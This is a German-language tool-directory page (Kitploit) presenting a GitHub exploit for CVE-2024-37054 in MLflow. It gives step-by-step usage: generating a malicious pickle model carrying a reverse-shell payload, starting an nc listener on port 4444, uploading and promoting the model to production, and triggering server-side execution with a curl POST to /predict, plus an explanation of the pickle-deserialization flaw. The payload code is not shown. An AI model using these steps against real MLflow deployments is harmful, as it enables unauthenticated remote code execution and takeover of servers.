Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-37054-MLflow-reverse-shell — Exploit für CVE-2024-37054: Erzeugt ein bösartiges Pickle-Modell, lädt es in MLflow hoch und löst Remote-Codeausführung über den /predict-Endpunkt aus. | Kitploit
Tools/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

Exploit für CVE-2024-37054: Erzeugt ein bösartiges Pickle-Modell, lädt es in MLflow hoch und löst Remote-Codeausführung über den /predict-Endpunkt aus.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
vor 3 MonatenNoch nicht geprüft
Teilen

Werkzeuge & Dateien


DateiZweck
generate_model.pyGeneriert bösartiges model.pkl mit Reverse-Shell-Payload
upload_model.pyLädt Pickle in MLflow hoch und stuft es auf Produktion hoch
sample.csvCSV-Datei, die verwendet wird, um den /predict-Endpunkt auszulösen

Verwendung

1. Erzeugen des bösartigen Pickles

Bearbeiten Sie generate_model.py und setzen Sie Ihre tun0-IP:

root@kitploit:~
python3 generate_model.py

2. Starten eines Listeners

root@kitploit:~
nc -lvnp 4444

3. Hochladen des bösartigen Modells

Bearbeiten Sie upload_model.py:

  • Setzen Sie MLFLOW auf http://127.0.0.1:5000
  • Setzen Sie MODEL_NAME auf den aktiven Modellnamen, der auf der Hauptdomain zu finden ist
root@kitploit:~
python3 upload_model.py

4. Auslösen der Ausführung

Holen Sie sich ein frisches Sitzungscookie von der Client-Anwendung und führen Sie dann aus:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

Die Shell wird auf Ihrem Listener empfangen.


Hauptschwachstelle

Pickle-Deserialisierung über die MLflow-Modellregistrierung

MLflow lädt registrierte Modelle mit Pythons pickle.load(). Durch das Hochladen eines manipulierten Pickles als Modell-Artefakt und das Hochstufen auf Produktion deserialisiert jeder nachfolgende Aufruf von /predict die Payload serverseitig, was eine nicht authentifizierte RCE als der Anwendungsbenutzer ermöglicht.

Referenzen

  • MLflow REST API Docs
  • Python Pickle Deserialization
Tool herunterladen